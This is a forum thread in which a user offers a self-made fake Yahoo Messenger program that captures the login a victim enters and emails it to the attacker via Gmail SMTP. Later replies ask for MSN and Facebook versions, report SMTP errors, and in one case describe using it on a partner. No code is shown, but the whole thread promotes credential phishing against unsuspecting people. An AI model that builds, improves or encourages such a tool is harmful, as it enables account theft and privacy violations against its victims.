Thread: [Yahoo messenger hack using Fake Yahoo Messenger !](#)

nealkc - June 3, 2011, 4:04 am

I started learning C# .Net just days ago and I had an idea to build the fake yahoo. I build a yahoo messenger layout whose layout is almost same as real yahoo messenger. This messenger will send you the email using gmail smtp server to send the email containing username and password entered by the slave.

[img]http://i1236.photobucket.com/albums/ff447/nealkc/yahoohf.jpg[/img]

NOTE: Make sure you have .Net framework 4 installed in the slave's computer. I haven't tested in any other computer other than mine. Its works perfectly in my computer. So, if you face any problem, post it here.

DOWNLOAD link.

Of course !! just have to change the layout!

savetheearth - June 3, 2011, 2:15 pm

this looks awesome, hopefully it works. i will check it out

mordyitsme2 - June 4, 2011, 2:37 am

Thanx i will cheak it outttt :)

Anshika - June 4, 2011, 5:10 am

So its basically a phisher

Sorry to say its not allowed to post phishers.

nealkc - June 4, 2011, 6:18 am

Sorry to say its not allowed to post phishers.

Now thats sarcasm ! I know phishing is not allowed here. However this is a tool. As you suggest keyloggers are too phishers.

dmoney2456 - June 9, 2011, 10:26 pm

can anyone please make a msn version?

Turkey Duncce - June 10, 2011, 2:50 am

Looks good hopefully it works.

nealkc - June 10, 2011, 6:32 am

(Jun 10, 2011 02:50 AM)? Bruce Lee® Wrote: [\[CITE\]](#) Looks good hopefully it works.
It works, provided Microsoft .Net framework 4 is installed. Tested on XP,Vista and Win 7 with very few exceptions.

(Jun 9, 2011 10:26 PM)dmoney2456 Wrote: [\[CITE\]](#) can anyone please make a msn version?
Msn version is basically the same. Just have to change the layout.

Jimmy1 - June 10, 2011, 10:50 am

i get a unhand led exception error

it dosent seem to save the target email ,will this only work on the computer u set it on?

nealkc - June 11, 2011, 7:40 am

Can you specify the error?

js_gill87 - June 14, 2011, 9:26 pm

hey this is awesome little tool. could you hook up the msn layout too somehow?

js_gill87 - June 14, 2011, 9:26 pm

hey this is awesome little tool. could you hook up the msn layout too somehow?

nealkc - June 15, 2011, 4:06 am

(Jun 14, 2011 09:26 PM)js_gill87 Wrote: [\[CITE\]](#) hey this is awesome little tool. could you hook up the msn layout too somehow?I can, but for now not interested. I am quite busy. If you are interested i can provide the code, if you can design the layout.

comflux - June 30, 2011, 7:22 am

Hi men. can you make a facebook account hack.?

Like e.g: if someone type their email and password into the box, their email and password will automatic send into my email account. ones their enter their email and password their email and password automatic send in my email add... can you?so this is a fake fb.com :D
please email me: heyb55@yahoo.com

Sorry bro ! web site Phishing not allowed ! Refer to Mr. Google for that stuff. I am sure you can create within a hour.

comflux - July 1, 2011, 3:11 am

Okei sir,thanks for replying ma:)

The Rock - August 7, 2011, 9:06 pm

i tried it on myself and my partner as a fun thing it works perfect thanks

usalover26 - September 25, 2011, 3:40 pm

I DO NOW it is not qroking pl tell mw hoq i uaw it and what is old pposybb

usalover26 - September 26, 2011, 11:30 pm

i tried it but it is not working its make jam cumpter

software_ss - April 10, 2012, 7:35 am

Very good one. No virus found and worked as you said. Tested on me!! thanks for sharing with us. Hope to get more if you get!

bestnewb - December 30, 2013, 10:05 am

when it runs it said "The SMTP server requires a secure connection or the client was not authenticated. The server response was: 5.5.1 Authentication Required. more information at " and then quits.... it does not even have a link at the end.

asspecter7 - December 30, 2013, 10:18 am

this would have been useful back in the year 2000 lol

supperb smile - December 30, 2013, 2:06 pm

Looks good hopefully it works. nice one.

Mx. - December 30, 2013, 2:15 pm

Omg what a great tutorial but the FBI is watching you.

xxxtreme_zero - January 8, 2014, 12:50 am

nice one man ahahahahahahaha i used to have this type of proggi

Black Plasma - January 23, 2014, 1:44 pm

I tried this just like you said but i get this-- The SMPT server requires a secure connection or the client was not authenicated

POHTAYTOH - January 23, 2014, 1:59 pm

Woh this pretty cool, I'll test it out and let you know how it goes

Tutolavita - January 25, 2014, 7:36 am

I tried this just like you said but i get this too -- The SMPT server requires a secure connection

Andreealuisa - April 10, 2015, 1:53 pm

Is men's that yahoo resolve that probleme,we need something else.Maybe in short time.

jhoncarbnt - April 12, 2015, 6:09 am

i will try this looks very good

.... .
